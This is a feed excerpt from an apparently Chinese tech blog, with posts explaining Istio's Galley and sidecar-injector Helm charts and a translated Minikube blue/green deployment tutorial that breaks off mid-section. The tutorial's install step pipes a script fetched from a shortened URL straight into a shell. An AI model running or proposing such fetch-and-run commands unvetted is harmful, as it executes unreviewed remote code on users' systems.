&lt;h2 id=&#34;deployment-yaml&#34;&gt;deployment.yaml&lt;/h2&gt;

&lt;p&gt;这里以 &lt;a href=&#34;https://istio.io/docs/reference/commands/galley/&#34; target=&#34;_blank&#34;&gt;Galley&lt;/a&gt; 为主进程创建了一个 Deployment 对象。&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;annotation&lt;/code&gt; 一节中将 &lt;code&gt;sidecar.istio.io/inject&lt;/code&gt; 设置为 &lt;code&gt;false&lt;/code&gt; 来防止自动注入 Sidecar。&lt;/p&gt;

&lt;h3 id=&#34;全局变量&#34;&gt;全局变量&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Chart&lt;/li&gt;
&lt;li&gt;Release&lt;/li&gt;
&lt;li&gt;global.priorityClassName&lt;/li&gt;
&lt;li&gt;global.hub&lt;/li&gt;
&lt;li&gt;global.tag&lt;/li&gt;
&lt;li&gt;global.imagePullPolicy&lt;/li&gt;
&lt;li&gt;模板 nodeaffinity&lt;/li&gt;
&lt;li&gt;global.defaultResources&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;变量使用细节&#34;&gt;变量使用细节&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;部署在 Istio 所属命名空间中。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;_helpers.tpl&lt;/code&gt; 中定义的模板给 App 标签赋值。&lt;/li&gt;
&lt;li&gt;使用 Chart 和 Release 变量生成 Deployment 标签。&lt;/li&gt;
&lt;li&gt;Chart 变量 &lt;code&gt;replicaCount&lt;/code&gt; 确定副本数量。&lt;/li&gt;
&lt;li&gt;如果定义了 &lt;code&gt;global.priorityClassName&lt;/code&gt;，则设置到 Pod 上，提高组件在集群内的优先级。&lt;/li&gt;
&lt;li&gt;使用 global.hub + image + global.tag 的方式设置镜像名称。&lt;/li&gt;
&lt;li&gt;如果 Chart 变量设置了 &lt;code&gt;resource&lt;/code&gt;，则使用独立的资源限制，否则使用缺省的 &lt;code&gt;global.defaultResources&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;使用缺省的节点亲和性定义。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;加载卷&#34;&gt;加载卷&lt;/h3&gt;

&lt;p&gt;加载了一个名为 &lt;code&gt;istio.istio-galley-service-account&lt;/code&gt; 的 Secret，注意这个资源的类型为 &lt;code&gt;istio.io/key-and-cert&lt;/code&gt;，说明是由 Citadel 生成的，其中包含了几个证书，供 &lt;code&gt;--caCertFile&lt;/code&gt;、&lt;code&gt;--tlsCertFile&lt;/code&gt; 和 &lt;code&gt;--tlsKeyFile&lt;/code&gt; 用来提供 https 服务。&lt;/p&gt;

&lt;p&gt;另外加载了一个 ConfigMap，其中的配置文件供 &lt;code&gt;--webhook-config-file&lt;/code&gt; 参数使用，作为 Webhook 的参数。这个 ConfigMap 是由模板 &lt;code&gt;configmap.yaml&lt;/code&gt; 和 &lt;code&gt;validatingwehookconfiguration.yaml.tpl&lt;/code&gt; 生成的，后面将会进行讲解。&lt;/p&gt;

&lt;h2 id=&#34;configmap-yaml-以及-validatingwehookconfiguration-yaml-tpl&#34;&gt;configmap.yaml 以及 validatingwehookconfiguration.yaml.tpl&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;configmap.yaml&lt;/code&gt; 模板中并没有实质内容，主要内容存在于 &lt;code&gt;validatingwehookconfiguration.yaml.tpl&lt;/code&gt; 之中。&lt;/p&gt;

&lt;p&gt;这个模板中定义了一个 &lt;a href=&#34;https://docs.okd.io/latest/rest_api/apis-admissionregistration.k8s.io/v1beta1.ValidatingWebhookConfiguration.html#object-schema&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;ValidatingWebhookConfiguration&lt;/code&gt;&lt;/a&gt; 类型的资源。这种资源用于在不改变资源的情况下，对其进行校验并发出接受或拒绝的决策。&lt;/p&gt;

&lt;h3 id=&#34;引用全局变量&#34;&gt;引用全局变量&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Chart&lt;/code&gt; 和 &lt;code&gt;Release&lt;/code&gt;：用于生成标签和命名空间。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.configValidation&lt;/code&gt;：如果这一变量为 True，才会生成后续内容。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;webhook&#34;&gt;Webhook&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;webhooks&lt;/code&gt; 一节定义了两个元素，分别用于 Pilot 和 Mixer 的校验。以 Mixer 部分为例。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;clientConfig&lt;/code&gt; 一节，定义了这个 Webhook 会调用的校验服务，标准情况下会使用 Istio 所在的命名空间的 &lt;code&gt;istio-galley&lt;/code&gt;，URL 相对路径为 &lt;code&gt;/admitmixer&lt;/code&gt;，其中的 &lt;code&gt;rules&lt;/code&gt; 内容，定义了针对 &lt;code&gt;config.istio.io/v1alpha2&lt;/code&gt; 的一系列对象的创建和更新操作进行校验，如果校验失败，则拒绝创建（&lt;code&gt;failurePolicy: Fail&lt;/code&gt;）。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;Galley 目前的文档非常少，主要在&lt;a href=&#34;https://istio.io/zh/docs/reference/commands/galley/&#34; target=&#34;_blank&#34;&gt;参考&lt;/a&gt;和&lt;a href=&#34;https://istio.io/zh/help/ops/setup/validation/&#34; target=&#34;_blank&#34;&gt;运维指南&lt;/a&gt;部分有一点介绍，但 Istio 的配置难度是很著名的，因此推测随着项目的推进和普及，Galley 会持续的增强，并提供更多这方面的文档。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Istio Helm Chart 详解 - SidecarInjectorWebhook</title>
      <link>/post/istio-helm-deep-dive-injector-webhook/</link>
      <pubDate>Sun, 21 Oct 2018 19:56:03 +0800</pubDate>
      <guid>/post/istio-helm-deep-dive-injector-webhook/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;《Istio Helm Chart 详解》系列的第五篇，介绍 Chart SidecarInjectorWebhook，负责对工作负载进行自动注入。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;前言&#34;&gt;前言&lt;/h2&gt;

&lt;p&gt;这个 Chart 负责 Istio Sidecar 的自动注入操作相关配置。&lt;/p&gt;

&lt;p&gt;关于自动注入操作的相关内容，可以参考&lt;a href=&#34;https://preliminary.istio.io/zh/docs/setup/kubernetes/sidecar-injection/&#34; target=&#34;_blank&#34;&gt;官方文档中的相应章节&lt;/a&gt;，简单说来自动注入的两个先决条件：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Kubernetes 版本大于 1.9。&lt;/li&gt;
&lt;li&gt;启用了 &lt;code&gt;MutatingAdmissionWebhook&lt;/code&gt; 和 &lt;code&gt;ValidatingAdmissionWebhook&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;还有一点，在 Kubernetes 1.10 版本中的 AlwaysPullImage 会和自动注入功能冲突&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;代码中可以看到，这一 Chart 生成了自动注入所需的 Deployment、Service，运行依赖的 RBAC 资源，以及自定义资源。&lt;/p&gt;

&lt;p&gt;这个 Chart 会生成 &lt;code&gt;MutatingWebhookConfiguration&lt;/code&gt; 类型的自定义资源，根据对命名空间以及 Pod 注解的监控对新生成的 Pod 进行注入。可以通过对这一自定义资源的修改，结合 ConfigMap &lt;code&gt;istio-sidecar-injector&lt;/code&gt; 的内容对注入行为进行控制，后面将会进行讲解。&lt;/p&gt;

&lt;h2 id=&#34;values-yaml-中的变量定义&#34;&gt;&lt;code&gt;values.yaml&lt;/code&gt; 中的变量定义&lt;/h2&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;sidecarInjectorWebhook:
  enabled: true
  replicaCount: 1
  image: sidecar_injector
  enableNamespacesByDefault: false
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;chart-yaml-和-helpers-tpl&#34;&gt;Chart.yaml 和 _helpers.tpl&lt;/h2&gt;

&lt;p&gt;都是标准的 Helm Chart 文件，无需说明。&lt;/p&gt;

&lt;h2 id=&#34;rbac-相关内容&#34;&gt;RBAC 相关内容&lt;/h2&gt;

&lt;p&gt;类似其它 Chart，这里也使用 &lt;code&gt;serviceaccount.yaml&lt;/code&gt;、&lt;code&gt;clusterrolebinding.yaml&lt;/code&gt; 和 &lt;code&gt;clusterrole.yaml&lt;/code&gt; 三个文件来进行赋权操作。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;serviceaccount.yaml&lt;/code&gt; 中，引用变量除了 &lt;code&gt;Chart&lt;/code&gt; 和 &lt;code&gt;Release&lt;/code&gt; 两组保留变量之外，还引用到 &lt;code&gt;global.imagePullSecrets&lt;/code&gt;，用于 ServiceAccount 的镜像拉取授权。&lt;/p&gt;

&lt;p&gt;而 &lt;code&gt;clusterrole.yaml&lt;/code&gt; 文件中的 &lt;code&gt;rules&lt;/code&gt; 则表明，这个功能运行需要读取 ConfigMap，以及对前面提到的 &lt;code&gt;MutatingWebhookConfiguration&lt;/code&gt; 资源的读写。&lt;/p&gt;

&lt;h2 id=&#34;service-yaml&#34;&gt;service.yaml&lt;/h2&gt;

&lt;p&gt;这里创建了一个开放 443 端口的服务。&lt;/p&gt;

&lt;h2 id=&#34;depoyment-yaml&#34;&gt;depoyment.yaml&lt;/h2&gt;

&lt;p&gt;该文件所生成的 Deployment 是自动注入 Web hook 的主体。&lt;/p&gt;

&lt;p&gt;引用变量大致如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Release.Namespace&lt;/code&gt;：Istio 所在命名空间。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;template &amp;quot;sidecar-injector.name&amp;quot; .&lt;/code&gt;：定义在 &lt;code&gt;_helpers.tpl&lt;/code&gt; 中，命名规则基本等同于 Release。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Chart&lt;/code&gt; 以及 &lt;code&gt;Release&lt;/code&gt; 变量：Helm 内置。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.tag&lt;/code&gt; 和 &lt;code&gt;global.hub&lt;/code&gt;：镜像的前后缀&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.priorityClassName&lt;/code&gt;：Kubernetes PriorityClass 定义。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.imagePullPolicy&lt;/code&gt;：镜像拉取策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;replicaCount&lt;/code&gt;：Deployment 的副本数量。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;image&lt;/code&gt;：镜像名称，前后缀由全局变量控制，这里&lt;strong&gt;不可直接指定完整镜像地址&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;resources&lt;/code&gt; 和 &lt;code&gt;global.defaultResources&lt;/code&gt;：优先使用 Chart 资源定义。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nodeaffinity&lt;/code&gt;：沿用全局节点亲和性定义。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;这里会看到 Pod 模板中带有一个新的注解：&lt;code&gt;sidecar.istio.io/inject: &amp;quot;false&amp;quot;&lt;/code&gt;，该注解用于告知 Webhook，这个 Pod 无需进行注入，具体配置方式会在后面的 ConfigMap 部分解释。&lt;/p&gt;

&lt;p&gt;其中运行的主进程为 &lt;code&gt;sidecar-injector&lt;/code&gt;，官方有提供详细的&lt;a href=&#34;https://preliminary.istio.io/zh/docs/reference/commands/sidecar-injector/#sidecar-injector-probe&#34; target=&#34;_blank&#34;&gt;使用参考&lt;/a&gt;。对比一下会发现，除了显示的 &lt;code&gt;args&lt;/code&gt; 之外，这一命令有一个默认的 443 端口，和前面 Service 的定义一致。&lt;/p&gt;

&lt;p&gt;加载卷：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;istio&lt;/code&gt; ConfigMap：它的内容被加载到 &lt;code&gt;/etc/istio/config&lt;/code&gt;，作为 &lt;code&gt;sidecar-injector&lt;/code&gt; 的 &lt;code&gt;meshConfig&lt;/code&gt; 参数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;istio-sidecar-injector&lt;/code&gt; ConfigMap：被加载到路径 &lt;code&gt;/etc/istio/inject&lt;/code&gt;，它代表的注入配置，用作 &lt;code&gt;injectConfig&lt;/code&gt; 参数。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;istio.istio-sidecar-injector-service-account&lt;/code&gt; Secret：来自于前面渲染的 ServiceAccount，会被加载到 &lt;code&gt;/etc/istio/certs&lt;/code&gt;，用作证书使用。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;mutatingwebhook-yaml&#34;&gt;mutatingwebhook.yaml&lt;/h2&gt;

&lt;p&gt;这一文件的渲染所生成的资源会对 MutatingWebhook 的执行产生一些影响。&lt;/p&gt;

&lt;p&gt;应用变量除了 Helm 的保留变量之外，使用了本地的 &lt;code&gt;enableNamespacesByDefault&lt;/code&gt;，来确定是否缺省为命名空间启用自动注入。如果启用了缺省注入，那么所有命名空间除非定义了 &lt;code&gt;istio-injection: disabled&lt;/code&gt; 的标签，否则都会进行注入；如果没有启用，则只有被标签 &lt;code&gt;istio-injection: enabled&lt;/code&gt; 的命名空间才会进行自动注入。&lt;/p&gt;

&lt;p&gt;渲染结果是一个 &lt;code&gt;MutatingWebhookConfiguration&lt;/code&gt; 类型的资源，该资源包含了一系列的 &lt;code&gt;webhook&lt;/code&gt; 元素，这里用一个 &lt;code&gt;sidecar-injector.istio.io&lt;/code&gt; webhook 定义了注入过程的触发时机为 Pod 的创建期间，命名空间则用了上面说到的表达式来进行选择。&lt;/p&gt;

&lt;p&gt;这一配置的具体格式可以参考 &lt;a href=&#34;https://docs.okd.io/latest/rest_api/apis-admissionregistration.k8s.io/v1beta1.MutatingWebhookConfiguration.html&#34; target=&#34;_blank&#34;&gt;OKD 官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;sidecar-injector-configmap-yaml&#34;&gt;sidecar-injector-configmap.yaml&lt;/h2&gt;

&lt;p&gt;这个模板的内容，是 Istio Sidecar 自动注入过程中的主要配置。&lt;/p&gt;

&lt;p&gt;首先要查看 &lt;code&gt;global.omitSidecarInjectorConfigMap&lt;/code&gt; 变量，如果这一变量为 &lt;code&gt;true&lt;/code&gt;，则不会生成该配置。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;policy&lt;/code&gt; 字段来自 &lt;code&gt;global.proxy.autoInject&lt;/code&gt;：可选值包括 &lt;code&gt;enabled&lt;/code&gt; 和 &lt;code&gt;disabled&lt;/code&gt;，如果选择 &lt;code&gt;enabled&lt;/code&gt;，那么缺省情况下会进行注入，除非 Pod 中注解 &lt;code&gt;sidecar.istio.io/inject&lt;/code&gt; 为 &lt;code&gt;false&lt;/code&gt;；&lt;code&gt;disabled&lt;/code&gt; 则缺省不注入，除非注解 &lt;code&gt;sidecar.istio.io/inject&lt;/code&gt; 为 &lt;code&gt;true&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;template&lt;/code&gt; 部分对 &lt;code&gt;istio-init&lt;/code&gt;、&lt;code&gt;enable-core-dump&lt;/code&gt; 以及 &lt;code&gt;istio-proxy&lt;/code&gt; 三个待注入容器进行了渲染。&lt;/p&gt;

&lt;h3 id=&#34;istio-init&#34;&gt;&lt;code&gt;istio-init&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;这个镜像会完成 Istio 的流量劫持过程，其主体进程是一个&lt;a href=&#34;https://github.com/istio/istio/blob/master/tools/deb/istio-iptables.sh&#34; target=&#34;_blank&#34;&gt;用于操作 iptables 的 Shell 脚本&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;如果 &lt;code&gt;global.proxy_init.image&lt;/code&gt; 中包含了 &lt;code&gt;/&lt;/code&gt;，则直接使用该名称；否则使用 &lt;code&gt;global.hub&lt;/code&gt; 和 &lt;code&gt;global.tag&lt;/code&gt; 进行拼装。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;ObjectMeta 和 Spec 都来自于 Pod。ProxyConfig 和 MeshConfig 来自 istio-system 命名空间中的 istio ConfigMap。模板可以使用这些数据，对将要注入的容器和卷进行定义。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;global.imagePullPolicy&lt;/code&gt; 则定义了镜像的拉取策略。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;global.proxy.privileged&lt;/code&gt; 定义了初始化容器的特权模式。&lt;/p&gt;

&lt;h3 id=&#34;enable-core-dump&#34;&gt;&lt;code&gt;enable-core-dump&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;如果 &lt;code&gt;global.proxy.enableCoreDump&lt;/code&gt; 设置为 &lt;code&gt;true&lt;/code&gt;，则会生成这一容器。&lt;/p&gt;

&lt;p&gt;容器名称固定为 &lt;code&gt;{{ .Values.global.hub }}/proxy_init:{{ .Values.global.tag }}&lt;/code&gt;。&lt;/p&gt;

&lt;h3 id=&#34;istio-proxy&#34;&gt;&lt;code&gt;istio-proxy&lt;/code&gt;&lt;/h3&gt;

&lt;p&gt;这一容器的镜像可以在 Pod 注解 &lt;code&gt;sidecar.istio.io/proxyImage&lt;/code&gt; 中进行优先声明。如果没有该注解，则会使用 &lt;code&gt;{{ .Values.global.hub }}/{{ .Values.global.proxy.image }}:{{ .Values.global.tag }}&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;主进程为 &lt;code&gt;pilot-agent&lt;/code&gt;，官方提供了&lt;a href=&#34;https://istio.io/zh/docs/reference/commands/pilot-agent/&#34; target=&#34;_blank&#34;&gt;详细的命令文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;引用 Helm 变量包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;global.imagePullPolicy&lt;/code&gt;：镜像拉取策略。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.proxy.privileged&lt;/code&gt;：Sidecar 特权模式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;global.envoyStatsd&lt;/code&gt;：监控指标上报相关配置。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;关于资源限制：&lt;/p&gt;

&lt;p&gt;可以在容器注解中加入 &lt;code&gt;sidecar.istio.io/proxyCPU&lt;/code&gt; 和 &lt;code&gt;sidecar.istio.io/proxyMemory&lt;/code&gt; 来设置 Sidecar 的 Request Resource，否则会使用 &lt;code&gt;proxy.resources&lt;/code&gt; 进行资源申请。&lt;/p&gt;

&lt;h2 id=&#34;小结&#34;&gt;小结&lt;/h2&gt;

&lt;p&gt;可以看到，Sidecar 的自动配置过程有很多相关内容，包括命名空间和 Pod 的注解、标签，以及 Helm 中跨越几段的配置数据；而具体的 Sidecar 工作内容，则基本上是由 &lt;code&gt;istio&lt;/code&gt; 这一 ConfigMap 决定的。这部分内容将会延续到 Pilot、Mixer 的相关内容之中。&lt;/p&gt;

&lt;h2 id=&#34;参考文档&#34;&gt;参考文档&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/zh/docs/setup/kubernetes/sidecar-injection/&#34; target=&#34;_blank&#34;&gt;Istio sidecar 的注入&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/zh/docs/reference/commands/pilot-agent/&#34; target=&#34;_blank&#34;&gt;pilot-agent reference&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/zh/help/ops/setup/injection/&#34; target=&#34;_blank&#34;&gt;Istio Webhook 运维指南&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://istio.io/zh/help/faq/&#34; target=&#34;_blank&#34;&gt;Istio FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>在 Kubernetes 和 Istio 环境下进行蓝绿部署</title>
      <link>/post/tutorial-blue-green-deployments-with-kubernetes-and-istio/</link>
      <pubDate>Sat, 20 Oct 2018 00:46:47 +0800</pubDate>
      <guid>/post/tutorial-blue-green-deployments-with-kubernetes-and-istio/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://thenewstack.io/tutorial-blue-green-deployments-with-kubernetes-and-istio/&#34; target=&#34;_blank&#34;&gt;Tutorial: Blue/Green Deployments with Kubernetes and Istio&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://thenewstack.io/author/janakiram/&#34; target=&#34;_blank&#34;&gt;Janakiram MSV&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作为一个服务网格系统，Istio 为服务间通信提供稳定性、透明性和安全性方面的保障。不论集群内外的服务，只要其访问目标是网格内的服务，就都会被 Istio 所拦截并进行处理。&lt;/p&gt;

&lt;p&gt;Istio 有很多功能，例如服务间通信的加密、自动的指标记录、访问控制策略、频率限制以及配额等，这里我们仅着眼于最常用的流量管理能力。&lt;/p&gt;

&lt;p&gt;Istio 让 DevOps 团队有能力为内部服务创建智能的路由规则。断路器、超时和重试之类的服务级属性非常容易配置，配置包含蓝绿部署及金丝雀发布的过程也很轻松。&lt;/p&gt;

&lt;p&gt;本文教程用于帮助读者理解配置 Kubernetes + Istio 环境下的蓝绿部署过程。无需很多知识背景，只要理解一些在 Kubernetes 中部署 Pod 和服务的基础概念就好。我们会在 Minikube 和 Istio 中完成示例。&lt;/p&gt;

&lt;p&gt;教程包含四个步骤：安装 Minikube、安装 Istio 并进行验证、安装一个应用的两个版本，最后配置服务的蓝绿部署。我们会使用两个简单的构建好了的镜像，分别作为蓝（v1）、绿（v2）两个版本。&lt;/p&gt;

&lt;h2 id=&#34;步骤-1-安装-minikube&#34;&gt;步骤 1：安装 Minikube&lt;/h2&gt;

&lt;p&gt;为了降低依赖，我们会使用 Minikube 作为测试平台。因为需要自定义配置，所以要删除已经存在的配置，并使用额外参数重新启动集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;minikube start --memory=8192 --cpus=4 --kubernetes-version=v1.10.0 \
--extra-config=controller-manager.cluster-signing-cert-file=&amp;quot;/var/lib/localkube/certs/ca.crt&amp;quot; \
--extra-config=controller-manager.cluster-signing-key-file=&amp;quot;/var/lib/localkube/certs/ca.key&amp;quot; \
--vm-driver=virtualbox
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;要在 Minikube 上运行 Istio，需要至少 8G 内存和 4 个 CPU 核心。等集群启动：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/b1cfb731-istio-0-1024x431.png&#34; alt=&#34;minikube startup&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;步骤-2-安装-istio&#34;&gt;步骤 2：安装 Istio&lt;/h2&gt;

&lt;p&gt;Kubernetes 集群成功启动之后，就可以安装 Istio 了。用下面的步骤完成：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;curl -L https://git.io/getLatestIstio | sh -
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在运行上述命令的目录中会发现一个 &lt;code&gt;istio-1.0.2&lt;/code&gt; 目录，可以把 &lt;code&gt;istio-1.0.2/bin&lt;/code&gt; 目录加入 &lt;code&gt;PATH&lt;/code&gt; 变量，方便后面的命令执行过程。&lt;/p&gt;

&lt;p&gt;由于我们在 Minikube 环境下运行的 Istio，所以我们要在下一步进行之前，要把 Ingress Gateway 服务从 &lt;code&gt;LoadBalancer&lt;/code&gt; 改为 &lt;code&gt;NodePort&lt;/code&gt;。&lt;/p&gt;

&lt;p&gt;打开文件 &lt;code&gt;istio-1.0.2/install/kubernetes/istio-demo.yaml&lt;/code&gt;，查找并替换：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2a64731e-istio-1.png&#34; alt=&#34;Changing Service Type&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Istio 中包含了很多 CRD，可以帮用户来进行虚拟服务、规则、网关以及其他对象的管理。在部署服务网格之前首先要部署一下这些 CRD：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f install/kubernetes/helm/istio/templates/crds.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后，在 Kubernetes 中安装 Istio：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f install/kubernetes/istio-demo.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的步骤会创建新的命名空间（&lt;code&gt;istio-system&lt;/code&gt;）：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/38e93379-istio-3.png&#34; alt=&#34;kubectl get ns&#34; /&gt;&lt;/p&gt;

&lt;p&gt;会看到这里还有很多服务：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/38e93379-istio-3-1024x524.png&#34; alt=&#34;kubectl get svc&#34; /&gt;&lt;/p&gt;

&lt;p&gt;稍候片刻，会看到很多 Pod：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/846a8174-istio-4-1024x498.png&#34; alt=&#34;kubectl get po&#34; /&gt;&lt;/p&gt;

&lt;p&gt;Istio 如果成功部署，所有这些 Pod 只能是 &lt;code&gt;Running&lt;/code&gt; 或者 &lt;code&gt;Completed&lt;/code&gt; 状态。&lt;/p&gt;

&lt;p&gt;下一步就要准备用于蓝绿部署的应用了。&lt;/p&gt;

&lt;h2 id=&#34;步骤-3-安装同一应用的两个版本&#34;&gt;步骤 3：安装同一应用的两个版本&lt;/h2&gt;

&lt;p&gt;为了展示应用的不同版本，我构建了基于 Nginx 的简单镜像 - &lt;code&gt;janakiramm/myapp:v1&lt;/code&gt; 和 &lt;code&gt;janakiramm/myapp:v2&lt;/code&gt;。部署之后，会展示蓝色或者绿色的背景。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: myapp
  labels:
    app: myapp
spec:
  type: ClusterIP
  ports:
  - port: 80
    name: http
  selector:
    app: myapp
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: myapp-v1
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: myapp
        version: v1
    spec:
      containers:
      - name: myapp
        image: janakiramm/myapp:v1
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 80
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: myapp-v2
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: myapp
        version: v2
    spec:
      containers:
      - name: myapp
        image: janakiramm/myapp:v2
        imagePullPolicy: IfNotPresent
        ports:
        - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;也可以在 &lt;a href=&#34;https://gist.github.com/janakiramm/123dc67b78ef187a109e7f928d6a6878&#34; target=&#34;_blank&#34;&gt;Github&lt;/a&gt; 上看到这些代码。&lt;/p&gt;

&lt;p&gt;接着就要创建 YAML 文件来定义 v1 和 v2 服务了。注意 Pod 标签的差异代表了不同的版本 —— &lt;code&gt;app&lt;/code&gt; 保持一致，但 &lt;code&gt;version&lt;/code&gt; 是不同的。这样一来，Istio 就会认为这是同一应用的不同版本。&lt;/p&gt;

&lt;p&gt;而服务中的选择器定义只针对 &lt;code&gt;app&lt;/code&gt; 标签进行设置，也就是说不同版本的 Pod 都会参与这一服务。&lt;/p&gt;

&lt;p&gt;用 &lt;code&gt;kubectl&lt;/code&gt; 创建 &lt;code&gt;Service&lt;/code&gt; 和 &lt;code&gt;Deployment&lt;/code&gt;。注意这个简单的应用对 Istio 一无所知。Istio 和应用的唯一可见的连接就是标签：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl apply -f myapp.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/7ddbc930-istio-5.png&#34; alt=&#34;apply -f yaml&#34; /&gt;&lt;/p&gt;

&lt;p&gt;配置 Istio 路由之前，首先检查一下应用的版本。可以使用端口转发的方式来访问 Pod。&lt;/p&gt;

&lt;p&gt;要访问应用的 &lt;code&gt;v1&lt;/code&gt; 版本，可以运行下面的命令，然后访问 &lt;code&gt;localhost:8080&lt;/code&gt;，验证完成之后，按 &lt;code&gt;CTRL+C&lt;/code&gt; 结束端口映射命令。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl port-forward deployment/myapp-v1 8080:80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/b5088c7c-istio-6-300x183.png&#34; alt=&#34;app image blue&#34; /&gt;&lt;/p&gt;

&lt;p&gt;要访问应用的 &lt;code&gt;v2&lt;/code&gt; 版本，可以运行下面的命令，然后访问 &lt;code&gt;localhost:8081&lt;/code&gt;，验证完成之后，按 &lt;code&gt;CTRL+C&lt;/code&gt; 结束端口映射命令。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;kubectl port-forward deployment/myapp-v2 8081:80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;img src=&#34;images/a187169b-istio-7-300x183.png&#34; alt=&#34;app image green&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;步骤-4-配置蓝绿部署&#34;&gt;步骤 4：配置蓝绿部署&lt;/h2&gt;

&lt;p&gt;我们的目标是在不停机的情况下，让流量选择性的进入某一版本。为了完成这一目的，就需要告知 Istio 根据权重进行路由。完成这一任务需要三个对象：&lt;/p&gt;

&lt;h3 id=&#34;gateway&#34;&gt;Gateway&lt;/h3&gt;

